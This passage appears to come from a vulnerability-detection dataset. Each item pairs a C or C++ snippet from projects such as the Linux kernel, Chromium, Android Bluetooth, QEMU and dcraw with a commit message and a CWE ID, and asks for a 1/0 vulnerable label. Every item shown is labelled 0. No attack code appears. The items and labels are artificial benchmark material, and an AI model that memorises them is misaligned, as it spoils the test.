The nmi parameter indicated if we could do wakeups from the current
context, if not, we would set some state and self-IPI and let the
resulting interrupt do the wakeup.
For the various event classes:
- hardware: nmi=0; PMI is in fact an NMI or we run irq_work_run from
the PMI-tail (ARM etc.)
- tracepoint: nmi=0; since tracepoint could be from NMI context.
- software: nmi=[0,1]; some, like the schedule thing cannot
perform wakeups, and hence need 0.
As one can see, there is very little nmi=1 usage, and the down-side of
not using it is that on some platforms some software events can have a
jiffy delay in wakeup (when arch_irq_work_raise isn't implemented).
The up-side however is that we can remove the nmi parameter and save a
bunch of conditionals in fast paths.
Signed-off-by: Peter Zijlstra <a.p.zijlstra@chello.nl>
Cc: Michael Cree <mcree@orcon.net.nz>
Cc: Will Deacon <will.deacon@arm.com>
Cc: Deng-Cheng Zhu <dengcheng.zhu@gmail.com>
Cc: Anton Blanchard <anton@samba.org>
Cc: Eric B Munson <emunson@mgebm.net>
Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
Cc: Paul Mundt <lethal@linux-sh.org>
Cc: David S. Miller <davem@davemloft.net>
Cc: Frederic Weisbecker <fweisbec@gmail.com>
Cc: Jason Wessel <jason.wessel@windriver.com>
Cc: Don Zickus <dzickus@redhat.com>
Link: http://lkml.kernel.org/n/tip-agjev8eu666tvknpb3iaj0fg@git.kernel.org
Signed-off-by: Ingo Molnar <mingo@elte.hu>
CWE ID: CWE-399
| 0
| 25,246
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void HistoryController::RemoveChildrenForRedirect(RenderFrameImpl* frame) {
if (!provisional_entry_)
return;
if (HistoryEntry::HistoryNode* node =
provisional_entry_->GetHistoryNodeForFrame(frame))
node->RemoveChildren();
}
Commit Message: Fix HistoryEntry corruption when commit isn't for provisional entry.
BUG=597322
TEST=See bug for repro steps.
Review URL: https://codereview.chromium.org/1848103004
Cr-Commit-Position: refs/heads/master@{#384659}
CWE ID: CWE-254
| 0
| 143,038
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: tBTM_STATUS btm_sec_bond_by_transport (BD_ADDR bd_addr, tBT_TRANSPORT transport,
UINT8 pin_len, UINT8 *p_pin, UINT32 trusted_mask[])
{
tBTM_SEC_DEV_REC *p_dev_rec;
tBTM_STATUS status;
UINT8 *p_features;
UINT8 ii;
tACL_CONN *p= btm_bda_to_acl(bd_addr, transport);
BTM_TRACE_API ("btm_sec_bond_by_transport BDA: %02x:%02x:%02x:%02x:%02x:%02x",
bd_addr[0], bd_addr[1], bd_addr[2], bd_addr[3], bd_addr[4], bd_addr[5]);
BTM_TRACE_DEBUG("btm_sec_bond_by_transport: Transport used %d" , transport);
/* Other security process is in progress */
if (btm_cb.pairing_state != BTM_PAIR_STATE_IDLE)
{
BTM_TRACE_ERROR ("BTM_SecBond: already busy in state: %s", btm_pair_state_descr(btm_cb.pairing_state));
return(BTM_WRONG_MODE);
}
if ((p_dev_rec = btm_find_or_alloc_dev (bd_addr)) == NULL)
{
return(BTM_NO_RESOURCES);
}
BTM_TRACE_DEBUG ("before update sec_flags=0x%x", p_dev_rec->sec_flags);
/* Finished if connection is active and already paired */
if ( ((p_dev_rec->hci_handle != BTM_SEC_INVALID_HANDLE) && transport == BT_TRANSPORT_BR_EDR
&& (p_dev_rec->sec_flags & BTM_SEC_AUTHENTICATED))
#if (BLE_INCLUDED == TRUE)
||((p_dev_rec->ble_hci_handle != BTM_SEC_INVALID_HANDLE) && transport == BT_TRANSPORT_LE
&& (p_dev_rec->sec_flags & BTM_SEC_LE_AUTHENTICATED))
#endif
)
{
BTM_TRACE_WARNING("BTM_SecBond -> Already Paired");
return(BTM_SUCCESS);
}
/* Tell controller to get rid of the link key if it has one stored */
if ((BTM_DeleteStoredLinkKey (bd_addr, NULL)) != BTM_SUCCESS)
return(BTM_NO_RESOURCES);
/* Save the PIN code if we got a valid one */
if (p_pin && (pin_len <= PIN_CODE_LEN) && (pin_len != 0))
{
btm_cb.pin_code_len = pin_len;
memcpy (btm_cb.pin_code, p_pin, PIN_CODE_LEN);
}
memcpy (btm_cb.pairing_bda, bd_addr, BD_ADDR_LEN);
btm_cb.pairing_flags = BTM_PAIR_FLAGS_WE_STARTED_DD;
p_dev_rec->security_required = BTM_SEC_OUT_AUTHENTICATE;
p_dev_rec->is_originator = TRUE;
if (trusted_mask)
BTM_SEC_COPY_TRUSTED_DEVICE(trusted_mask, p_dev_rec->trusted_mask);
#if BLE_INCLUDED == TRUE && SMP_INCLUDED == TRUE
if (transport == BT_TRANSPORT_LE)
{
p_dev_rec->sec_flags &= ~ BTM_SEC_LE_MASK;
if (SMP_Pair(bd_addr) == SMP_STARTED)
{
btm_cb.pairing_flags |= BTM_PAIR_FLAGS_LE_ACTIVE;
p_dev_rec->sec_state = BTM_SEC_STATE_AUTHENTICATING;
btm_sec_change_pairing_state (BTM_PAIR_STATE_WAIT_AUTH_COMPLETE);
return BTM_CMD_STARTED;
}
btm_cb.pairing_flags = 0;
return(BTM_NO_RESOURCES);
}
#endif
p_dev_rec->sec_flags &= ~(BTM_SEC_LINK_KEY_KNOWN | BTM_SEC_AUTHENTICATED | BTM_SEC_ENCRYPTED
| BTM_SEC_ROLE_SWITCHED | BTM_SEC_LINK_KEY_AUTHED);
BTM_TRACE_DEBUG ("after update sec_flags=0x%x", p_dev_rec->sec_flags);
if (!HCI_SIMPLE_PAIRING_SUPPORTED(btm_cb.devcb.local_lmp_features[HCI_EXT_FEATURES_PAGE_0]))
{
/* The special case when we authenticate keyboard. Set pin type to fixed */
/* It would be probably better to do it from the application, but it is */
/* complicated */
if (((p_dev_rec->dev_class[1] & BTM_COD_MAJOR_CLASS_MASK) == BTM_COD_MAJOR_PERIPHERAL)
&& (p_dev_rec->dev_class[2] & BTM_COD_MINOR_KEYBOARD)
&& (btm_cb.cfg.pin_type != HCI_PIN_TYPE_FIXED))
{
btm_cb.pin_type_changed = TRUE;
btsnd_hcic_write_pin_type (HCI_PIN_TYPE_FIXED);
}
}
for (ii = 0; ii <= HCI_EXT_FEATURES_PAGE_MAX; ii++)
{
p_features = p_dev_rec->features[ii];
BTM_TRACE_EVENT(" remote_features page[%1d] = %02x-%02x-%02x-%02x",
ii, p_features[0], p_features[1], p_features[2], p_features[3]);
BTM_TRACE_EVENT(" %02x-%02x-%02x-%02x",
p_features[4], p_features[5], p_features[6], p_features[7]);
}
BTM_TRACE_EVENT ("BTM_SecBond: Remote sm4: 0x%x HCI Handle: 0x%04x", p_dev_rec->sm4, p_dev_rec->hci_handle);
#if BTM_SEC_FORCE_RNR_FOR_DBOND == TRUE
p_dev_rec->sec_flags &= ~BTM_SEC_NAME_KNOWN;
#endif
/* If connection already exists... */
if (p && p->hci_handle != BTM_SEC_INVALID_HANDLE)
{
if (!btm_sec_start_authentication (p_dev_rec))
return(BTM_NO_RESOURCES);
btm_sec_change_pairing_state (BTM_PAIR_STATE_WAIT_PIN_REQ);
/* Mark lcb as bonding */
l2cu_update_lcb_4_bonding (bd_addr, TRUE);
return(BTM_CMD_STARTED);
}
BTM_TRACE_DEBUG ("sec mode: %d sm4:x%x", btm_cb.security_mode, p_dev_rec->sm4);
if (!HCI_SIMPLE_PAIRING_SUPPORTED(btm_cb.devcb.local_lmp_features[HCI_EXT_FEATURES_PAGE_0])
|| (p_dev_rec->sm4 == BTM_SM4_KNOWN))
{
if ( btm_sec_check_prefetch_pin (p_dev_rec) )
return(BTM_CMD_STARTED);
}
if (BTM_SEC_MODE_SP == btm_cb.security_mode && BTM_SEC_IS_SM4_UNKNOWN(p_dev_rec->sm4))
{
/* local is 2.1 and peer is unknown */
if ((p_dev_rec->sm4 & BTM_SM4_CONN_PEND) == 0)
{
/* we are not accepting connection request from peer
* -> RNR (to learn if peer is 2.1)
* RNR when no ACL causes HCI_RMT_HOST_SUP_FEAT_NOTIFY_EVT */
btm_sec_change_pairing_state (BTM_PAIR_STATE_GET_REM_NAME);
BTM_ReadRemoteDeviceName(bd_addr, NULL, BT_TRANSPORT_BR_EDR);
}
else
{
/* We are accepting connection request from peer */
btm_sec_change_pairing_state (BTM_PAIR_STATE_WAIT_PIN_REQ);
}
BTM_TRACE_DEBUG ("State:%s sm4: 0x%x sec_state:%d",
btm_pair_state_descr (btm_cb.pairing_state), p_dev_rec->sm4, p_dev_rec->sec_state);
return BTM_CMD_STARTED;
}
/* both local and peer are 2.1 */
status = btm_sec_dd_create_conn(p_dev_rec);
if (status != BTM_CMD_STARTED)
{
btm_sec_change_pairing_state (BTM_PAIR_STATE_IDLE);
}
return status;
}
Commit Message: DO NOT MERGE Remove Porsche car-kit pairing workaround
Bug: 26551752
Change-Id: I14c5e3fcda0849874c8a94e48aeb7d09585617e1
CWE ID: CWE-264
| 0
| 161,420
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void lsi_bad_selection(LSIState *s, uint32_t id)
{
trace_lsi_bad_selection(id);
lsi_script_scsi_interrupt(s, 0, LSI_SIST1_STO);
lsi_disconnect(s);
}
Commit Message:
CWE ID: CWE-835
| 0
| 3,674
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int inet6_addr_del(struct net *net, int ifindex, u32 ifa_flags,
const struct in6_addr *pfx, unsigned int plen)
{
struct inet6_ifaddr *ifp;
struct inet6_dev *idev;
struct net_device *dev;
if (plen > 128)
return -EINVAL;
dev = __dev_get_by_index(net, ifindex);
if (!dev)
return -ENODEV;
idev = __in6_dev_get(dev);
if (idev == NULL)
return -ENXIO;
read_lock_bh(&idev->lock);
list_for_each_entry(ifp, &idev->addr_list, if_list) {
if (ifp->prefix_len == plen &&
ipv6_addr_equal(pfx, &ifp->addr)) {
in6_ifa_hold(ifp);
read_unlock_bh(&idev->lock);
if (!(ifp->flags & IFA_F_TEMPORARY) &&
(ifa_flags & IFA_F_MANAGETEMPADDR))
manage_tempaddrs(idev, ifp, 0, 0, false,
jiffies);
ipv6_del_addr(ifp);
addrconf_verify_rtnl();
return 0;
}
}
read_unlock_bh(&idev->lock);
return -EADDRNOTAVAIL;
}
Commit Message: ipv6: addrconf: validate new MTU before applying it
Currently we don't check if the new MTU is valid or not and this allows
one to configure a smaller than minimum allowed by RFCs or even bigger
than interface own MTU, which is a problem as it may lead to packet
drops.
If you have a daemon like NetworkManager running, this may be exploited
by remote attackers by forging RA packets with an invalid MTU, possibly
leading to a DoS. (NetworkManager currently only validates for values
too small, but not for too big ones.)
The fix is just to make sure the new value is valid. That is, between
IPV6_MIN_MTU and interface's MTU.
Note that similar check is already performed at
ndisc_router_discovery(), for when kernel itself parses the RA.
Signed-off-by: Marcelo Ricardo Leitner <mleitner@redhat.com>
Signed-off-by: Sabrina Dubroca <sd@queasysnail.net>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-20
| 0
| 41,823
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static bool ExecuteMoveToEndOfSentenceAndModifySelection(LocalFrame& frame,
Event*,
EditorCommandSource,
const String&) {
frame.Selection().Modify(
SelectionModifyAlteration::kExtend, SelectionModifyDirection::kForward,
TextGranularity::kSentenceBoundary, SetSelectionBy::kUser);
return true;
}
Commit Message: Move Editor::Transpose() out of Editor class
This patch moves |Editor::Transpose()| out of |Editor| class as preparation of
expanding it into |ExecutTranspose()| in "EditorCommand.cpp" to make |Editor|
class simpler for improving code health.
Following patch will expand |Transpose()| into |ExecutTranspose()|.
Bug: 672405
Change-Id: Icde253623f31813d2b4517c4da7d4798bd5fadf6
Reviewed-on: https://chromium-review.googlesource.com/583880
Reviewed-by: Xiaocheng Hu <xiaochengh@chromium.org>
Commit-Queue: Yoshifumi Inoue <yosin@chromium.org>
Cr-Commit-Position: refs/heads/master@{#489518}
CWE ID:
| 0
| 128,577
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void put_reserved_req(struct fuse_conn *fc, struct fuse_req *req)
{
struct file *file = req->stolen_file;
struct fuse_inode *fi = get_fuse_inode(file_inode(file));
struct fuse_file *ff = file->private_data;
WARN_ON(req->max_pages);
spin_lock(&fi->lock);
memset(req, 0, sizeof(*req));
fuse_request_init(req, NULL, NULL, 0);
BUG_ON(ff->reserved_req);
ff->reserved_req = req;
wake_up_all(&fc->reserved_req_waitq);
spin_unlock(&fi->lock);
fput(file);
}
Commit Message: Merge branch 'page-refs' (page ref overflow)
Merge page ref overflow branch.
Jann Horn reported that he can overflow the page ref count with
sufficient memory (and a filesystem that is intentionally extremely
slow).
Admittedly it's not exactly easy. To have more than four billion
references to a page requires a minimum of 32GB of kernel memory just
for the pointers to the pages, much less any metadata to keep track of
those pointers. Jann needed a total of 140GB of memory and a specially
crafted filesystem that leaves all reads pending (in order to not ever
free the page references and just keep adding more).
Still, we have a fairly straightforward way to limit the two obvious
user-controllable sources of page references: direct-IO like page
references gotten through get_user_pages(), and the splice pipe page
duplication. So let's just do that.
* branch page-refs:
fs: prevent page refcount overflow in pipe_buf_get
mm: prevent get_user_pages() from overflowing page refcount
mm: add 'try_get_page()' helper function
mm: make page ref count overflow check tighter and more explicit
CWE ID: CWE-416
| 0
| 96,839
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void FLTStripNameSpacesFromPropertyName(FilterEncodingNode *psFilterNode)
{
char **tokens=NULL;
int n=0;
if (psFilterNode) {
if (psFilterNode->eType == FILTER_NODE_TYPE_COMPARISON &&
psFilterNode->psLeftNode != NULL &&
psFilterNode->psLeftNode->eType == FILTER_NODE_TYPE_PROPERTYNAME &&
FLTIsGMLDefaultProperty(psFilterNode->psLeftNode->pszValue) )
{
return;
}
if (psFilterNode->eType == FILTER_NODE_TYPE_PROPERTYNAME) {
if (psFilterNode->pszValue &&
strstr(psFilterNode->pszValue, ":")) {
tokens = msStringSplit(psFilterNode->pszValue, ':', &n);
if (tokens && n==2) {
msFree(psFilterNode->pszValue);
psFilterNode->pszValue = msStrdup(tokens[1]);
}
msFreeCharArray(tokens, n);
}
}
if (psFilterNode->psLeftNode)
FLTStripNameSpacesFromPropertyName(psFilterNode->psLeftNode);
if (psFilterNode->psRightNode)
FLTStripNameSpacesFromPropertyName(psFilterNode->psRightNode);
}
}
Commit Message: security fix (patch by EvenR)
CWE ID: CWE-119
| 0
| 69,025
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: POINTER_SYSTEM_UPDATE* update_read_pointer_system(rdpUpdate* update, wStream* s)
{
POINTER_SYSTEM_UPDATE* pointer_system = calloc(1, sizeof(POINTER_SYSTEM_UPDATE));
if (!pointer_system)
goto fail;
if (Stream_GetRemainingLength(s) < 4)
goto fail;
Stream_Read_UINT32(s, pointer_system->type); /* systemPointerType (4 bytes) */
return pointer_system;
fail:
free_pointer_system_update(update->context, pointer_system);
return NULL;
}
Commit Message: Fixed CVE-2018-8786
Thanks to Eyal Itkin from Check Point Software Technologies.
CWE ID: CWE-119
| 0
| 83,571
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: get_chainname_rulenum(const struct ipt_entry *s, const struct ipt_entry *e,
const char *hookname, const char **chainname,
const char **comment, unsigned int *rulenum)
{
const struct xt_standard_target *t = (void *)ipt_get_target_c(s);
if (strcmp(t->target.u.kernel.target->name, XT_ERROR_TARGET) == 0) {
/* Head of user chain: ERROR target with chainname */
*chainname = t->target.data;
(*rulenum) = 0;
} else if (s == e) {
(*rulenum)++;
if (unconditional(s) &&
strcmp(t->target.u.kernel.target->name,
XT_STANDARD_TARGET) == 0 &&
t->verdict < 0) {
/* Tail of chains: STANDARD target (return/policy) */
*comment = *chainname == hookname
? comments[NF_IP_TRACE_COMMENT_POLICY]
: comments[NF_IP_TRACE_COMMENT_RETURN];
}
return 1;
} else
(*rulenum)++;
return 0;
}
Commit Message: netfilter: x_tables: check for bogus target offset
We're currently asserting that targetoff + targetsize <= nextoff.
Extend it to also check that targetoff is >= sizeof(xt_entry).
Since this is generic code, add an argument pointing to the start of the
match/target, we can then derive the base structure size from the delta.
We also need the e->elems pointer in a followup change to validate matches.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
CWE ID: CWE-264
| 0
| 52,385
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int CLASS main (int argc, const char **argv)
{
static int arg, status=0;
static int timestamp_only=0, thumbnail_only=0, identify_only=0;
static int user_qual=-1, user_black=-1, user_sat=-1, user_flip=-1;
static int use_fuji_rotate=1, write_to_stdout=0, quality, i, c;
static const char *sp, *bpfile=0, *dark_frame=0, *write_ext;
static char opm, opt, *ofname, *cp;
static struct utimbuf ut;
#ifndef NO_LCMS
static const char *cam_profile=0, *out_profile=0;
#endif
#ifndef LOCALTIME
putenv ((char *) "TZ=UTC");
#endif
#ifdef LOCALEDIR
setlocale (LC_CTYPE, "");
setlocale (LC_MESSAGES, "");
bindtextdomain ("dcraw", LOCALEDIR);
textdomain ("dcraw");
#endif
if (argc == 1) {
printf(_("\nRaw photo decoder \"dcraw\" v%s"), DCRAW_VERSION);
printf(_("\nby Dave Coffin, dcoffin a cybercom o net\n"));
printf(_("\nUsage: %s [OPTION]... [FILE]...\n\n"), argv[0]);
puts(_("-v Print verbose messages"));
puts(_("-c Write image data to standard output"));
puts(_("-e Extract embedded thumbnail image"));
puts(_("-i Identify files without decoding them"));
puts(_("-i -v Identify files and show metadata"));
puts(_("-z Change file dates to camera timestamp"));
puts(_("-w Use camera white balance, if possible"));
puts(_("-a Average the whole image for white balance"));
puts(_("-A <x y w h> Average a grey box for white balance"));
puts(_("-r <r g b g> Set custom white balance"));
puts(_("+M/-M Use/don't use an embedded color matrix"));
puts(_("-C <r b> Correct chromatic aberration"));
puts(_("-P <file> Fix the dead pixels listed in this file"));
puts(_("-K <file> Subtract dark frame (16-bit raw PGM)"));
puts(_("-k <num> Set the darkness level"));
puts(_("-S <num> Set the saturation level"));
puts(_("-n <num> Set threshold for wavelet denoising"));
puts(_("-H [0-9] Highlight mode (0=clip, 1=unclip, 2=blend, 3+=rebuild)"));
puts(_("-t [0-7] Flip image (0=none, 3=180, 5=90CCW, 6=90CW)"));
puts(_("-o [0-5] Output colorspace (raw,sRGB,Adobe,Wide,ProPhoto,XYZ)"));
#ifndef NO_LCMS
puts(_("-o <file> Apply output ICC profile from file"));
puts(_("-p <file> Apply camera ICC profile from file or \"embed\""));
#endif
puts(_("-d Document mode (no color, no interpolation)"));
puts(_("-D Document mode without scaling (totally raw)"));
puts(_("-j Don't stretch or rotate raw pixels"));
puts(_("-W Don't automatically brighten the image"));
puts(_("-b <num> Adjust brightness (default = 1.0)"));
puts(_("-g <p ts> Set custom gamma curve (default = 2.222 4.5)"));
puts(_("-q [0-3] Set the interpolation quality"));
puts(_("-h Half-size color image (twice as fast as \"-q 0\")"));
puts(_("-f Interpolate RGGB as four colors"));
puts(_("-m <num> Apply a 3x3 median filter to R-G and B-G"));
puts(_("-s [0..N-1] Select one raw image or \"all\" from each file"));
puts(_("-6 Write 16-bit instead of 8-bit"));
puts(_("-4 Linear 16-bit, same as \"-6 -W -g 1 1\""));
puts(_("-T Write TIFF instead of PPM"));
puts("");
return 1;
}
argv[argc] = "";
for (arg=1; (((opm = argv[arg][0]) - 2) | 2) == '+'; ) {
opt = argv[arg++][1];
if ((cp = (char *) strchr (sp="nbrkStqmHACg", opt)))
for (i=0; i < "114111111422"[cp-sp]-'0'; i++)
if (!isdigit(argv[arg+i][0])) {
dcraw_message (DCRAW_ERROR,_("Non-numeric argument to \"-%c\"\n"), opt);
return 1;
}
switch (opt) {
case 'n': threshold = atof(argv[arg++]); break;
case 'b': bright = atof(argv[arg++]); break;
case 'r':
FORC4 user_mul[c] = atof(argv[arg++]); break;
case 'C': aber[0] = 1 / atof(argv[arg++]);
aber[2] = 1 / atof(argv[arg++]); break;
case 'g': gamm[0] = atof(argv[arg++]);
gamm[1] = atof(argv[arg++]);
if (gamm[0]) gamm[0] = 1/gamm[0]; break;
case 'k': user_black = atoi(argv[arg++]); break;
case 'S': user_sat = atoi(argv[arg++]); break;
case 't': user_flip = atoi(argv[arg++]); break;
case 'q': user_qual = atoi(argv[arg++]); break;
case 'm': med_passes = atoi(argv[arg++]); break;
case 'H': highlight = atoi(argv[arg++]); break;
case 's':
shot_select = abs(atoi(argv[arg]));
multi_out = !strcmp(argv[arg++],"all");
break;
case 'o':
if (isdigit(argv[arg][0]) && !argv[arg][1])
output_color = atoi(argv[arg++]);
#ifndef NO_LCMS
else out_profile = argv[arg++];
break;
case 'p': cam_profile = argv[arg++];
#endif
break;
case 'P': bpfile = const_cast<char *>(argv[arg++]); break;
case 'K': dark_frame = argv[arg++]; break;
case 'z': timestamp_only = 1; break;
case 'e': thumbnail_only = 1; break;
case 'i': identify_only = 1; break;
case 'c': write_to_stdout = 1; break;
case 'v': verbose = 1; break;
case 'h': half_size = 1; /* "-h" implies "-f" */
case 'f': four_color_rgb = 1; break;
case 'A': FORC4 greybox[c] = atoi(argv[arg++]);
case 'a': use_auto_wb = 1; break;
case 'w': use_camera_wb = 1; break;
case 'M': use_camera_matrix = (opm == '+'); break;
case 'D':
case 'd': document_mode = 1 + (opt == 'D');
case 'j': use_fuji_rotate = 0; break;
case 'W': no_auto_bright = 1; break;
case 'T': output_tiff = 1; break;
case '4': gamm[0] = gamm[1] =
no_auto_bright = 1;
case '6': output_bps = 16; break;
default:
dcraw_message (DCRAW_ERROR,_("Unknown option \"-%c\".\n"), opt);
return 1;
}
}
if (use_camera_matrix < 0)
use_camera_matrix = use_camera_wb;
if (arg == argc) {
dcraw_message (DCRAW_ERROR,_("No files to process.\n"));
return 1;
}
if (write_to_stdout) {
if (isatty(1)) {
dcraw_message (DCRAW_ERROR,_("Will not write an image to the terminal!\n"));
return 1;
}
#if defined(WIN32) || defined(DJGPP) || defined(__CYGWIN__)
if (setmode(1,O_BINARY) < 0) {
perror ("setmode()");
return 1;
}
#endif
}
for ( ; arg < argc; arg++) {
status = 1;
image = 0;
oprof = 0;
meta_data = ofname = 0;
ofp = stdout;
if (setjmp (failure)) {
if (fileno(ifp) > 2) fclose(ifp);
if (fileno(ofp) > 2) fclose(ofp);
status = 1;
goto cleanup;
}
ifname = const_cast<char *>(argv[arg]);
ifname_display = ifname;
if (!(ifp = fopen (ifname, "rb"))) {
perror (ifname);
continue;
}
status = (identify(),!is_raw);
if (user_flip >= 0)
flip = user_flip;
switch ((flip+3600) % 360) {
case 270: flip = 5; break;
case 180: flip = 3; break;
case 90: flip = 6;
}
if (timestamp_only) {
if ((status = !timestamp))
dcraw_message (DCRAW_ERROR,_("%s has no timestamp.\n"), ifname);
else if (identify_only)
printf ("%10ld%10d %s\n", (long) timestamp, shot_order, ifname);
else {
dcraw_message (DCRAW_VERBOSE,_("%s time set to %d.\n"), ifname, (int) timestamp);
ut.actime = ut.modtime = timestamp;
utime (ifname, &ut);
}
goto next;
}
write_fun = &CLASS write_ppm_tiff;
if (thumbnail_only) {
if ((status = !thumb_offset)) {
dcraw_message (DCRAW_ERROR,_("%s has no thumbnail.\n"), ifname);
goto next;
} else if (thumb_load_raw) {
load_raw = thumb_load_raw;
data_offset = thumb_offset;
height = thumb_height;
width = thumb_width;
filters = 0;
} else {
fseek (ifp, thumb_offset, SEEK_SET);
write_fun = write_thumb;
goto thumbnail;
}
}
if (load_raw == &CLASS kodak_ycbcr_load_raw) {
height += height & 1;
width += width & 1;
}
if (identify_only && verbose && make[0]) {
printf (_("\nFilename: %s\n"), ifname);
printf (_("Timestamp: %s"), ctime(×tamp));
printf (_("Camera: %s %s\n"), make, model);
if (artist[0])
printf (_("Owner: %s\n"), artist);
if (dng_version) {
printf (_("DNG Version: "));
for (i=24; i >= 0; i -= 8)
printf ("%d%c", dng_version >> i & 255, i ? '.':'\n');
}
printf (_("ISO speed: %d\n"), (int) iso_speed);
printf (_("Shutter: "));
if (shutter > 0 && shutter < 1)
shutter = (printf ("1/"), 1 / shutter);
printf (_("%0.1f sec\n"), shutter);
printf (_("Aperture: f/%0.1f\n"), aperture);
printf (_("Focal length: %0.1f mm\n"), focal_len);
printf (_("Embedded ICC profile: %s\n"), profile_length ? _("yes"):_("no"));
printf (_("Number of raw images: %d\n"), is_raw);
if (pixel_aspect != 1)
printf (_("Pixel Aspect Ratio: %0.6f\n"), pixel_aspect);
if (thumb_offset)
printf (_("Thumb size: %4d x %d\n"), thumb_width, thumb_height);
printf (_("Full size: %4d x %d\n"), raw_width, raw_height);
} else if (!is_raw)
dcraw_message (DCRAW_ERROR,_("Cannot decode file %s\n"), ifname);
if (!is_raw) goto next;
shrink = filters && (half_size || (!identify_only &&
(threshold || aber[0] != 1 || aber[2] != 1)));
iheight = (height + shrink) >> shrink;
iwidth = (width + shrink) >> shrink;
if (identify_only) {
if (verbose) {
if (use_fuji_rotate) {
if (fuji_width) {
fuji_width = (fuji_width - 1 + shrink) >> shrink;
iwidth = fuji_width / sqrt(0.5);
iheight = (iheight - fuji_width) / sqrt(0.5);
} else {
if (pixel_aspect < 1) iheight = iheight / pixel_aspect + 0.5;
if (pixel_aspect > 1) iwidth = iwidth * pixel_aspect + 0.5;
}
}
if (flip & 4)
SWAP(iheight,iwidth);
printf (_("Image size: %4d x %d\n"), width, height);
printf (_("Output size: %4d x %d\n"), iwidth, iheight);
printf (_("Raw colors: %d"), colors);
if (filters) {
printf (_("\nFilter pattern: "));
for (i=0; i < 16; i++)
putchar (cdesc[fc(i >> 1,i & 1)]);
}
printf (_("\nDaylight multipliers:"));
FORCC printf (" %f", pre_mul[c]);
if (cam_mul[0] > 0) {
printf (_("\nCamera multipliers:"));
FORC4 printf (" %f", cam_mul[c]);
}
putchar ('\n');
} else
printf (_("%s is a %s %s image.\n"), ifname, make, model);
next:
fclose(ifp);
continue;
}
if (use_camera_matrix && cmatrix[0][0] > 0.25) {
memcpy (rgb_cam, cmatrix, sizeof cmatrix);
raw_color = 0;
}
image = (ushort (*)[4]) calloc (iheight*iwidth, sizeof *image);
merror (image, "main()");
if (meta_length) {
meta_data = (char *) malloc (meta_length);
merror (meta_data, "main()");
}
dcraw_message (DCRAW_VERBOSE,_("Loading %s %s image from %s ...\n"),
make, model, ifname);
if (shot_select >= is_raw)
dcraw_message (DCRAW_ERROR,_("%s: \"-s %d\" requests a nonexistent image!\n"),
ifname, shot_select);
#ifdef HAVE_FSEEKO
fseeko (ifp, data_offset, SEEK_SET);
#else
fseek (ifp, data_offset, SEEK_SET);
#endif
(*this.*load_raw)();
if (zero_is_bad) remove_zeroes();
bad_pixels (bpfile);
if (dark_frame) subtract (dark_frame);
quality = 2 + !fuji_width;
if (user_qual >= 0) quality = user_qual;
i = cblack[3];
FORC3 if (i > (int) cblack[c]) i = cblack[c];
FORC4 cblack[c] -= i;
black += i;
if (user_black >= 0) black = user_black;
if (user_sat > 0) maximum = user_sat;
#ifdef COLORCHECK
colorcheck();
#endif
if (is_foveon && !document_mode) foveon_interpolate();
if (!is_foveon && document_mode < 2) scale_colors();
pre_interpolate();
if (filters && !document_mode) {
if (quality == 0)
lin_interpolate();
else if (quality == 1 || colors > 3)
vng_interpolate();
else if (quality == 2)
ppg_interpolate();
else ahd_interpolate();
}
if (mix_green)
for (colors=3, i=0; i < height*width; i++)
image[i][1] = (image[i][1] + image[i][3]) >> 1;
if (!is_foveon && colors == 3) median_filter();
if (!is_foveon && highlight == 2) blend_highlights();
if (!is_foveon && highlight > 2) recover_highlights();
if (use_fuji_rotate) fuji_rotate();
#ifndef NO_LCMS
if (cam_profile) apply_profile (cam_profile, out_profile);
#endif
convert_to_rgb();
if (use_fuji_rotate) stretch();
thumbnail:
if (write_fun == &CLASS jpeg_thumb)
write_ext = ".jpg";
else if (output_tiff && write_fun == &CLASS write_ppm_tiff)
write_ext = ".tiff";
else
write_ext = ".pgm\0.ppm\0.ppm\0.pam" + colors*5-5;
ofname = (char *) malloc (strlen(ifname) + 64);
merror (ofname, "main()");
if (write_to_stdout)
strcpy (ofname,_("standard output"));
else {
strcpy (ofname, ifname);
if ((cp = strrchr (ofname, '.'))) *cp = 0;
if (multi_out)
sprintf (ofname+strlen(ofname), "_%0*d",
snprintf(0,0,"%d",is_raw-1), shot_select);
if (thumbnail_only)
strcat (ofname, ".thumb");
strcat (ofname, write_ext);
ofp = fopen (ofname, "wb");
if (!ofp) {
status = 1;
perror (ofname);
goto cleanup;
}
}
dcraw_message (DCRAW_VERBOSE,_("Writing data to %s ...\n"), ofname);
(*this.*write_fun)();
fclose(ifp);
if (ofp != stdout) fclose(ofp);
cleanup:
if (meta_data) free (meta_data);
if (ofname) free (ofname);
if (oprof) free (oprof);
if (image) free (image);
if (multi_out) {
if (++shot_select < is_raw) arg--;
else shot_select = 0;
}
}
/* Make sure ifname are not free()'d (UF) */
ifname = NULL;
ifname_display = NULL;
return status;
}
Commit Message: Avoid overflow in ljpeg_start().
CWE ID: CWE-189
| 0
| 43,314
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int ext4_ext_convert_to_initialized(handle_t *handle,
struct inode *inode,
struct ext4_map_blocks *map,
struct ext4_ext_path **ppath,
int flags)
{
struct ext4_ext_path *path = *ppath;
